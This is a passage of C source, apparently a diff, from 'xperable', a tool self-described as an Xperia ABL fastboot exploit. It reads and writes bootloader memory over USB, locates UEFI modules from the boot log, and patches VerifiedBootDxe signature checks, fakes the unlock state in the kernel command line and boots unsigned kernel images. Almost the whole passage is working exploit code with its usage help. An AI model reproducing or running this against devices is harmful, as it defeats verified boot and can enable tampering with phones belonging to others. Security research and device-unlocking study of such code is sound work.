break; + *(uint32_t *)(buff + offs) = __builtin_bswap32(val); + res = 0; + offs += step; + } + } + } while (p > patch); + + return res; +} + +static int abl_read_logbuf(struct fbusb *dev) +{ + int i; + int res; + uint64_t val; + char *ptr, *p; + + res = abl_mem_read(dev, LOGBUF_ADDR, LOGBUF_SIZE, logbuf); + if (res != 0) + return -1; + if (logbuf_parsed) + return 0; + logbuf_parsed = 1; + + for (i = 0; modules[i].name[0] != '\0'; i++) + ; + ptr = logbuf; + while ((p = strstr(ptr, " - 0x")) != NULL) { + ptr = p + 5; + val = strtoul(ptr, &p, 16); + if (p > ptr) { + if (p[0] == ' ' && p[1] == '[') { + p += 2; + while (*p == ' ' || isdigit(*p)) + p++; + if (p[0] == ']' && p[1] == ' ') { + p += 2; + ptr = p; + while (*p != '\r' && *p != '\n' && *p != '\0') { + if (strncmp(p, ".efi\r\n", 6) == 0) { + res = p - ptr; + if (res >= sizeof(modules[i].name)) + res = sizeof(modules[i].name) - 1; + memcpy(modules[i].name, ptr, res); + modules[i].name[res] = '\0'; + modules[i].addr = val; + p += 6; + ptr = p; + i++; + break; + } + p++; + } + } + } + } + if (i >= MAX_MODULES_NUM) + break; + } + + return 0; +} + +static int abl_print_logbuf(struct fbusb *dev) +{ + int res; + + res = abl_read_logbuf(dev); + if (res != 0) + return -1; + + res = strlen(logbuf + logbuf_pos); + if (res > 0) { + PNFO("Print log buffer, logbuf_pos = 0x%04x, length = 0x%04x:\n", + logbuf_pos, res); + POUT("%s", logbuf + logbuf_pos); + logbuf_pos += res; + } + + return 0; +} + +static int get_module_addr(struct fbusb *dev, const char *mname, uint64_t *addr) +{ + int i; + int res; + + *addr = 0; + for (i = 0; modules[i].name[0] != '\0'; i++) { + if (strcmp(modules[i].name, mname) == 0) { + *addr = modules[i].addr; + return 0; + } + } + if (!logbuf_parsed) { + res = abl_read_logbuf(dev); + if (res != 0) + return -1; + for (i = 0; modules[i].name[0] != '\0'; i++) { + if (strcmp(modules[i].name, mname) == 0) { + *addr = modules[i].addr; + return 0; + } + } + } + + return -1; +} + +static int add_module_addr(const char *mname, uint64_t addr) +{ + int i; + int res; + + for (i = 0; modules[i].name[0] != '\0'; i++) { + if (strcmp(modules[i].name, mname) == 0) { + modules[i].addr = addr; + return 0; + } + } + if (i >= MAX_MODULES_NUM) + return -1; + strncpy(modules[i].name, mname, sizeof(modules[i].name) - 1); + modules[i].name[sizeof(modules[i].name) - 1] = '\0'; + modules[i].addr = addr; + return 0; +} + +static int abl_list_modules(struct fbusb *dev) +{ + int i; + int res; + + if (!logbuf_parsed) { + res = abl_read_logbuf(dev); + if (res != 0) + return -1; + } + POUT("UEFI modules:\n"); + for (i = 0; modules[i].name[0] != '\0'; i++) + POUT(" 0x%09lx %s\n", modules[i].addr, modules[i].name); + + return 0; +} + +static int test6(struct fbusb *dev, int size, int offset) +{ + int res; + uint64_t addr = 0; + + if (target->ablver == NULL) { + PERR("test6 failed: target not set up\n"); + return -1; + } + + PNFO("Starting test6\n"); + + res = get_module_addr(dev, "VerifiedBootDxe", &addr); + if (res < 0) + goto test6_failed; + + res = abl_mem_read(dev, addr, target->vb_size, buffer); + if (res < 0) + goto test6_failed; + + target->test6_patch(buffer, size, offset); + + res = abl_mem_write(dev, addr, target->vb_size, buffer); + if (res < 0) + goto test6_failed; + + PNFO("VerifiedBootDxe @ 0x%08lx patched successfully\n", addr); + return 0; + + test6_failed: + PERR("VerifiedBootDxe patching failed\n"); + return -1; +} + +static int test7(struct fbusb *dev, int size, int offset) +{ + int res; + int cbd; + uint64_t addr; + + if (target->ablver == NULL) { + PERR("test7 failed: target not set up\n"); + return -1; + } + + PNFO("Starting test7\n"); + + res = get_module_addr(dev, "LinuxLoader", &addr); + if (res < 0) + goto test7_failed; + + res = load_pe(target->llname, buffer, sizeof(buffer), addr, &cbd); + if (res <= 0 || cbd <= 0) + goto test7_failed; + + res = abl_mem_read(dev, addr, cbd, buffer); + if (res < 0) + goto test7_failed; + + target->test7_patch(buffer, size, offset); + + res = abl_mem_write(dev, addr, cbd, buffer); + if (res < 0) + goto test7_failed; + + PNFO("LinuxLoader @ 0x%08lx patched to fake unlock\n", addr); + return 0; + + test7_failed: + PERR("LinuxLoader @ 0x%08lx patching failed\n", addr); + return -1; +} + + +static int test8(struct fbusb *dev, int size, int offset, const char *arg) +{ + int res; + int cbd; + uint64_t addr; + + if (target->ablver == NULL) { + PERR("test8 failed: target not set up\n"); + return -1; + } + + if (size < 0 || size >= sizeof(kibuff)) { + PERR("test8 needs two kernel images\n"); + return -1; + } + memcpy(kibuff, buffer, size); + + PNFO("Starting test8\n"); + + res = file_rd_buff(arg, kibuff + size + 8, sizeof(kibuff) - size - 16); + if (res < 0) + return -1; + + *(uint64_t *)(kibuff + size) = res; + *(uint64_t *)(kibuff + size + 8 + res) = size; + size += 8 + res + 8; + + res = get_module_addr(dev, "LinuxLoader", &addr); + if (res < 0) + goto test8_failed; + + res = load_pe(target->llname, buffer, sizeof(buffer), addr, &cbd); + if (res <= 0 || cbd <= 0) + goto test8_failed; + +// res = abl_mem_read(dev, addr, cbd, buffer); +// if (res < 0) +// goto test8_failed; + target->patch_abl(buffer, abl_patch_ext); + + target->test8_patch(buffer, cbd, offset); + + res = abl_mem_write(dev, addr, cbd, buffer); + if (res < 0) + goto test8_failed; + + PNFO("LinuxLoader @ 0x%08lx patched for test8\n", addr); + + fbusb_set_timeout(dev, 30 * 1000); + + res = cmd_download(dev, size, kibuff, 0); + if (res != FASTBOOT_OKAY) { + PERR("test8 upload of kernel images failed\n"); + return -1; + } + + res = fbusb_strcmd(dev, "boot", rxbuff, 65); + if (res != FASTBOOT_OKAY) { + PERR("test8 boot command failed\n"); + return -1; + } + + PNFO("test8 succeeded\n", addr); + return 0; + + test8_failed: + PERR("test8 failed\n"); + return -1; +} + +static int test9(struct fbusb *dev, int size, int offset) +{ + int res; + uint64_t addr = 0; + + if (target->ablver == NULL) { + PERR("test9 failed: target not set up\n"); + return -1; + } + + PNFO("Starting test9\n"); + + res = get_module_addr(dev, "VerifiedBootDxe", &addr); + if (res < 0) + goto test9_failed; + + res = abl_mem_read(dev, addr, target->vb_size, buffer); + if (res < 0) + goto test9_failed; + + target->test8_patch(buffer, size, offset); + + res = abl_mem_write(dev, addr, target->vb_size, buffer); + if (res < 0) + goto test9_failed; + + PNFO("VerifiedBootDxe @ 0x%08lx patched with test9\n", addr); + return 0; + + test9_failed: + PERR("VerifiedBootDxe patching failed\n"); + return -1; +} + + +static void show_help(void) +{ + puts(""); + puts("xperable - Xperia ABL fastboot Exploit"); + puts("( https://github.com/j4nn/xperable )"); + puts(""); + puts("usage: ./xperable [-h] [-v] [-q] [-V] [-Q] [-A] [-B] [-U]"); + puts(" [-b maxsize] [-t timeout] [-o offset] [-s size]"); + puts(" [-c command] [-x] [-0] [-1] [-2] [-3] [-4]"); + puts(" [-l] [-m] [-a addr] [-M module]"); + puts(" [-r] [-O file] [-I file] [-w]"); + puts(" [-P file] [-p patch]"); + puts(""); + puts(" -h show this help and exit"); + puts(" -v increase fastboot usb communication verbosity"); + puts(" -q lower fastboot usb communication verbosity"); + puts(" -V increase verbosity of the exploit itself"); + puts(" -Q lower verbosity of the exploit"); + puts(" -A do 'fastboot getvar all' with filtered output"); + puts(" -B do 'fastboot getvar version-bootloader' command"); + puts(" -U do 'fastboot getvar unknown' command"); + puts(" -b maxsize set usb chunk max size to use with all transfers"); + puts(" -t timeout set usb transfer timeout in ms, 5000 by default"); + puts(" -o offset set offset parameter used in exploit test cases"); + puts(" -s size set size parameter used with other options"); + puts(" -c command set fastboot command string"); + puts(" -x use extended version of abl patch"); + puts(" -0 basic test case to try to crash ABL LinuxLoader"); + puts(" -1 do previously set fastboot command"); + puts(" -2 try to return buffer offset distance to code hit"); + puts(" -3 similar as -2 option but using alternative method"); + puts(" -4 do full ABL LinuxLoader patching exploit"); + puts(" -5 similar as -4 option but using alternative method"); + puts(" -6 patch signature verification in VerifiedBootDxe"); + puts(" -7 fake unlock via 'green' -> 'orange' in kcmdline"); + puts(" -8 patch boot command to use two kernel images"); + puts(" -9 experimental stuff to test patch level override"); + puts(" -l read out bootloader log from RAM, needs -3 first"); + puts(" -m list XBL UEFI modules with their base addresses"); + puts(" -a addr set address used with BL RAM read and write options"); + puts(" -M module set address for RAM r/w to base addr of UEFI module"); + puts(" -r read 'size' block of bytes from 'addr' base in BL"); + puts(" -O file write 'size' of bytes from tool's buffer to 'file'"); + puts(" -I file read 'file' into tool's buffer setting 'size' too"); + puts(" -w write 'size' block of bytes to 'addr' base in BL"); + puts(" -P file load PE file to tool's buffer doing relocation"); + puts(" to 'addr' base, setting 'size' to code boundary,"); + puts(" applying -4 patch if detected LinuxLoader filename"); + puts(" -p patch apply specified 'patch' sequence to tool's buffer"); + puts(""); + puts("'patch' is one or more 'subpatch' delimited by comma character"); + puts("'subpatch' is 'hexoffs' 'patchseq' pair delimited by one of ':/%@'"); + puts("characters specifying size or form of each element of 'patchseq'"); + puts("'patchseq' is list of hex values delimited by comma character"); + puts(""); + puts("There is following meaning of 'hexoffs' and 'patchseq' delimiter:"); + puts(" : 'patchseq' hex values are byte values"); + puts(" / 'patchseq' hex values are 32 bit values"); + puts(" % 'patchseq' hex values are 32 bit to be byte swapped"); + puts(" @ 'patchseq' hex values are 64 bit values"); + puts(""); +} + + +int main(int argc, unsigned char **argv) +{ + int i; + int res; + int offset = -1; + int size = -1; + uint64_t addr = 0; + const char *cmd = NULL; + struct fbusb *dev; + + if (argc > 1 && strcmp(argv[1], "-h") == 0) { + show_help(); + return 0; + } + + dev = fbusb_init(0x0fce, 0x0dde, 0, 0x81, 0x01); + if (dev == NULL) + return 1; + + argc--; argv++; + for ( ; argc > 0; argc--, argv++) { + res = 0; + if (argv[0][0] != '-') + continue; + switch (argv[0][1]) { + case 'v': fbusb_inc_verbosity(dev); break; + case 'q': fbusb_dec_verbosity(dev); break; + case 'V': if (verbosity < LOG_DBG) verbosity++; break; + case 'Q': if (verbosity > 0) verbosity--; break; + case 'A': + getvar_all(dev); + if (offset < 0) + offset = target->offset; + if (size < 0) + size = target->size; + break; + case 'B': + getvar_single(dev, "version-bootloader"); + if (offset < 0) + offset = target->offset; + if (size < 0) + size = target->size; + break; + case 'U': getvar_single(dev, "unknown"); break; + case '0': res = test0(dev, size, offset, cmd); break; + case '1': res = test1(dev, size, offset, cmd); break; + case '2': res = test2(dev, size, offset, cmd); break; + case '3': res = test3(dev, size, offset, cmd); break; + case '4': res = test4(dev, size, offset, target->llname); break; + case '5': res = test5(dev, size, offset, target->llname); break; + case '6': res = test6(dev, size, offset); break; + case '7': res = test7(dev, size, offset); break; + case '8': res = test8(dev, size, offset, cmd); break; + case '9': res = test9(dev, size, offset); break; + case 'r': if (abl_mem_read(dev, addr, size, buffer)) res = -1; break; + case 'w': if (abl_mem_write(dev, addr, size, buffer)) res = -1; break; + case 'l': abl_print_logbuf(dev); break; + case 'm': abl_list_modules(dev); break; + case 'x': abl_patch_ext++; break; + } + if (argc < 2) + continue; + switch (argv[0][1]) { + case 'b': + fbusb_set_maxsize(dev, strtoul(argv[1], NULL, 0)); + argc--; argv++; + break; + case 't': + fbusb_set_timeout(dev, strtoul(argv[1], NULL, 0)); + argc--; argv++; + break; + case 'a': addr = strtoul(argv[1], NULL, 0); argc--; argv++; break; + case 'o': offset = strtoul(argv[1], NULL, 0); argc--; argv++; break; + case 's': size = strtoul(argv[1], NULL, 0); argc--; argv++; break; + case 'c': cmd = argv[1]; argc--; argv++; break; + case 'p': patch_buff(buffer, size, argv[1]); argc--; argv++; break; + case 'C': + cmdline[0] = ' '; + strncpy(cmdline + 1, argv[1], sizeof(cmdline) - 2); + argc--; argv++; + break; + case 'D': + cmdlinex[0] = ' '; + strncpy(cmdlinex + 1, argv[1], sizeof(cmdlinex) - 2); + argc--; argv++; + break; + case 'X': + override_flag = strtoul(argv[1], NULL, 0); + argc--; argv++; + break; + case 'M': + res = get_module_addr(dev, argv[1], &addr); + argc--; argv++; + break; + case 'I': + res = file_rd_buff(argv[1], buffer, sizeof(buffer)); + argc--; argv++; + if (res < 0) + goto terminate; + size = res; + break; + case 'O': + res = file_wr_buff(argv[1], buffer, size); + argc--; argv++; + if (res < 0) + goto terminate; + break; + case 'P': + size = 0; + res = load_pe(argv[1], buffer, sizeof(buffer), addr, &size); + argc--; argv++; + if (res <= 0 || size <= 0) { + res = -1; + goto terminate; + } + if (strstr(argv[0], target->llname) != NULL) { + if (abl_patch_ext > 1) + size = res; + target->patch_abl(buffer, abl_patch_ext); + PNFO("Loaded %s (res=%d, size=%d), applied LinuxLoader %s" + "patch\n", argv[0], res, size, + abl_patch_ext ? "ext " : ""); + } else + PNFO("Loaded %s (res=%d, size=%d)\n", argv[0], res, size); + break; + } + if (res < 0) + break; + } + + terminate: + fbusb_exit(dev); + return res != 0 ? 1 : 0; +}